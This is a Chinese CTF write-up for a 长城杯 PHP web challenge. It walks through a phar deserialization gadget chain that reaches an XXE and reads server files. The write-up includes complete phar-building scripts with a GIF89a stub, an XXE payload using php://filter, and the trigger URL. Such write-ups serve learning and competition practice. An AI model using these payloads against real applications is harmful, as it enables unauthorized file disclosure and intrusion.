长城杯Web WP

Web

访问8000端口,题目给了源码:

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion.\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}

if(isset($_REQUEST['f'])){
    $filename=$_REQUEST['f'];
    is_dir($filename);
}else{
    highlight_file(__FILE__);
}

php反序列的知识不懂可以先看:https://blog.csdn.net/qq_64201116/article/details/127234204
看到**class的魔术方法**第一时间想到反序列化
但是没有类似于unserialize()的反序列化函数
注意到函数is_dir(),这个函数可以触发phar协议,这个phar协议可以触发反序列化
phar反序列化知识补充:http://home.ustc.edu.cn/~xjyuan/blog/2019/11/13/phar-unserialize/
但是phar需要有文件上传的点:于是找到了/upload.php这个功能点
因此思路就有了:

通过链子构造phar文件,上传phar文件后用phar协议读取

反序列化的链子很简单:

TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir()  //读取文件名称
TheUse$__destruct() -->MyClass$__invoke-->MyClass$load()     //读取文件内容

构造反序列化链子:

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion.\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);

坑点1

构造函数的时候$xml变量要用

$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=./flag.php">]>
<x>&file;</x>
EOF;

这种形式定义,不能直接放到构造函数里,我就是死在这

坑点2

在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件: php filter读文件知识补充https://blog.csdn.net/qq_64201116/article/details/125926612):

不用绝对路径的报错图:

解决方法(使用绝对路径):

解题:

payload生成读取文件名的phar文件:

<?php
class TheUse{
     private $obj;
     private $con1;
     private $con2;
     function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    } 
     function __destruct(){
         $new = $this->obj;
         $new($this->con1,$this->con2);
     }
 }
 class MyClass{
     private $dir;
     function __construct($dir){
        $this->dir = $dir;
    } 
     function __toString(){
         echo "String conversion.\n";
     }
     function __invoke($param1,$param2){
         $this->$param1($param2);
     }
     private function getdir($path){
         print_r(glob($path));
     }
     private function load($con){
         simplexml_load_string($con,null,LIBXML_NOENT);
     }
 }


$payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();

运行后上传phar文件
然后使用phar协议读取:

?f=phar:///var/www/html/phar.phar

可以看到flag的名称是Maybe_flag_is_here.php
接下来读取flag:

<?php
class TheUse{
     private $obj;
     private $con1;
     private $con2;
     function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    } 
     function __destruct(){
         $new = $this->obj;
         $new($this->con1,$this->con2);
     }
 }
 class MyClass{
     private $dir;
     function __construct($dir){
        $this->dir = $dir;
    } 
     function __toString(){
         echo "String conversion.\n";
     }
     function __invoke($param1,$param2){
         $this->$param1($param2);
     }
     private function getdir($path){
         print_r(glob($path));
     }
     private function load($con){
         simplexml_load_string($con,null,LIBXML_NOENT);
     }
 }


$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();

依旧是把生成的phar文件上传,使用phar协议反序列化:

?f=phar:///var/www/html/phar.phar

解码得到flag:

flag:flag{this-is-flag-for-you}